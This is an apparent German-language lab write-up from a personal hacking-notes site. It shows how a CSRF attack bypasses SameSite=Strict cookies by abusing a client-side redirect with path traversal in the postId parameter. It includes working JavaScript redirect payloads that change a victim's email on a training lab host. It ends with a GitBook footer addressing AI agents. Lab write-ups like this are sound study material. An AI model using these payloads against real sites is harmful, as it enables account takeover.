> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/csrf/samesite-strict-bypass-via-client-side-redirect.md).

# SameSite-Strict-Bypass über clientseitige Weiterleitung

### Umgehung von SameSite Strict per clientseitiger Weiterleitung

Das Formular zum Ändern der E-Mail der Lab-Umgebung ist für CSRF verwundbar. Ziel ist es, die E-Mail-Adresse des Opfers zu ändern, indem der Exploit auf dem bereitgestellten Exploit-Server gehostet wird.

**Zugriff testen**/ Verwendetes Konto im Lab: `wiener:peter`

### Hauptbeobachtungen

1. Die Funktion zum Ändern der E-Mail arbeitet über eine GET-Anfrage dieser Art:

```
/my-account/change-email?email=test@test.com&submit=1
```

<figure><img src="/files/650abc0b21707303faf0cbb485fba93eb7ff8e7a" alt=""><figcaption></figcaption></figure>

Durch Senden einer JavaScript-Weiterleitung wie dieser:

```javascript
<script>
location="https://0a75004904ecc7828082cb3b00cc0068.web-security-academy.net/my-account/change-email?email=hack@test.com&submit=1";
</script>
```

* die Seite fordert zur Authentifizierung auf, wenn der Benutzer nicht angemeldet ist — die Anfrage übernimmt den Sitzungscookie nicht, wenn sie von einer anderen Site stammt.

<figure><img src="/files/5fe8c1a2e3e9cacca8453d662531f75f99ed70e1" alt="" width="563"><figcaption></figcaption></figure>

Das `Set-Cookie` Der Header enthält `SameSite=Strict`, was das Senden des Sitzungscookies verhindert, wenn das Browsen aus einem anderen Kontext (Cross-Site) initiiert wird, und normalerweise klassische Weiterleitungsangriffe blockiert.

<figure><img src="/files/65cf01359656e188884b13a698c5546d9a82940a" alt=""><figcaption></figcaption></figure>

### Ausgenutzter Bereich (Kommentare → Bestätigung → Weiterleitung)

1. Es gibt einen Kommentarbereich, der dann weiterleitet zu:

<figure><img src="/files/6ee518f27f65befc48b0238a0d2dd1262db705c6" alt="" width="563"><figcaption></figcaption></figure>

```
post/comment/confirmation?postId=8
```

<figure><img src="/files/9a0df84a46f112e19e369c5e6b4a091369ef747b" alt=""><figcaption></figcaption></figure>

Ein Skript auf der Bestätigungsseite extrahiert das `postId` Parameter und leitet nach 3 Sekunden zum entsprechenden Beitrag weiter:

```javascript
redirectOnConfirmation = (blogPath) => {
    setTimeout(() => {
        const url = new URL(window.location);
        const postId = url.searchParams.get("postId");
        window.location = blogPath + '/' + postId;
    }, 3000);
}
```

<figure><img src="/files/636bbc80cad08d9a46a44ef726a2015faef84807" alt="" width="353"><figcaption></figcaption></figure>

<figure><img src="/files/b4849c5171da4d724af9edaf40fbefef75aafa50" alt=""><figcaption></figcaption></figure>

```javascript
window.location = blogPath + '/' + postId;
```

```
window.location = blogPath + '/' + ../my-account;
```

Bei der Beobachtung dieses Verhaltens stellen wir fest, dass `postId` nicht strikt verpflichtend ist: wenn man seinen Wert ändert (z. B. `test`), erfolgt die Weiterleitung zu `.../test` ohne ersichtliche Validierung.

#### Umgehung von SameSite Strict über einen manipulierten Pfad

Idee: Ersetze die Weiterleitung zu `blogPath + '/' + postId` durch `postId` enthaltend relative `..` Segmente, um einen Pfad auf der Zielsite zu erreichen (Verzeichnisrücksprung), zum Beispiel:

`/post/comment/confirmation?postId=../my-account`

* die Weiterleitung führt dann zu einem übergeordneten Verzeichnis, ohne den Sitzungscookie zu blockieren.

<figure><img src="/files/179133edc8b39f2371aed57acda556fd1ff49290" alt="" width="563"><figcaption></figcaption></figure>

Durch das Erstellen eines spezifischeren `postId`, richten wir die E-Mail-Änderungsfunktion direkt an:

```
/post/comment/confirmation?postId=../../my-account/change-email?email=hack@jordann.com%26submit=1
```

Einfache Weiterleitung zur Seite zum Ändern der E-Mail:

```javascript
<script>
location="https://0a75004904ecc7828082cb3b00cc0068.web-security-academy.net/post/comment/confirmation?postId=../../my-account/change-email?email=hack@jordann.com%26submit=1";
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/csrf/samesite-strict-bypass-via-client-side-redirect.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
